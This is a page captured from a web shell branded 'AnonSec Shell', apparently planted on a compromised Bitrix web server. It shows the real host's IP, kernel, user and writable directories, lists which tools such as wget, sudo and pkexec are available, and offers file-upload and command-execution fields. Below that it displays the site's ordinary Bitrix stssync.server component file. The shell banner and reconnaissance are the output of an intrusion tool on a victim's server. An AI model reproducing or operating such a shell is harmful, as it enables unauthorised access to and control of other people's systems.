AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 52.15.48.189
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/components/bitrix/stssync.server/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/components/bitrix/stssync.server/component.php
<?
if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED !== true)
{
	die();
}

/**
 * Bitrix vars
 *
 * @var array $arParams
 * @var array $arResult
 * @var CBitrixComponent $this
 * @global CMain $APPLICATION
 * @global CUser $USER
 */


$arDefaultUrlTemplates404 = array(
	"endpoint" => "#user_id#/#ap#/_vti_bin/lists.asmx",
	"redirect_item" => "#user_id#/#ap#/#path#/DispForm.aspx",
	"redirect_index" => "#user_id#/#ap#/#path#/"
);

$arDefaultVariableAliases404 = array();
$arDefaultVariableAliases = array();

$arComponentVariables = array(
	"user_id", "ap", "path"
);

$arVariables = array();

$componentPage = 'redirect_index';

if($arParams["SEF_MODE"] == "Y")
{
	$engine = new CComponentEngine($this);
	$engine->addGreedyPart("#path#");

	$arUrlTemplates = CComponentEngine::MakeComponentUrlTemplates($arDefaultUrlTemplates404, $arParams["SEF_URL_TEMPLATES"]);
	$arVariableAliases = CComponentEngine::MakeComponentVariableAliases($arDefaultVariableAliases404, $arParams["VARIABLE_ALIASES"]);

	$componentPage = $engine->guessComponentPath(
		$arParams["SEF_FOLDER"],
		$arUrlTemplates,
		$arVariables
	);

	CComponentEngine::InitComponentVariables($componentPage, $arComponentVariables, $arVariableAliases, $arVariables);
}
else
{
	ShowError('Non-SEF mode is not supported by bitrix:stssync.server component');
}

if($componentPage !== 'endpoint')
{
	$componentPage = 'redirect_index';
}

if($componentPage == 'endpoint')
{
	if(!isset($arVariables['user_id']) || !isset($arVariables['ap']) || intval($arVariables['user_id']) <= 0 || $arVariables['ap'] == '')
	{
		die('wrong request');
	}

	if(!\Bitrix\Main\Loader::includeModule('webservice'))
	{
		die('Webservice module not installed');
	}

	\Bitrix\WebService\StsSync::checkAuth($arVariables['user_id'], $arVariables['ap']);

	$APPLICATION->IncludeComponent(
		"bitrix:webservice.server",
		"",
		array(
			'WEBSERVICE_NAME' => $arParams['WEBSERVICE_NAME'],
			'WEBSERVICE_CLASS' => $arParams['WEBSERVICE_CLASS'],
			'WEBSERVICE_MODULE' => $arParams['WEBSERVICE_MODULE'],
		),
		null, array('HIDE_ICONS' => 'Y')
	);

	CMain::FinalActions();
	die();
}
else
{
	$redirectUrl = '/';
	if(empty($arParams['REDIRECT_PATH']) || empty($_REQUEST['ID']))
	{
		if(!empty($arVariables['path']))
		{
			$redirectUrl = $arVariables['path'].'/';
		}
		else
		{
			$redirectUrl = '';
		}
	}
	else
	{
		$redirectUrl = str_replace(
			array('#ID#', '#PATH#'),
			array(intval($_REQUEST['ID']), $arVariables['path']),
			$arParams['REDIRECT_PATH']
		);
	}

	$redirectUrl = str_replace('.php/', '.php', $redirectUrl);
	$redirectUrl = '/'.ltrim($redirectUrl, '/');

	LocalRedirect($redirectUrl);
}

Anon7 - 2022
AnonSec Team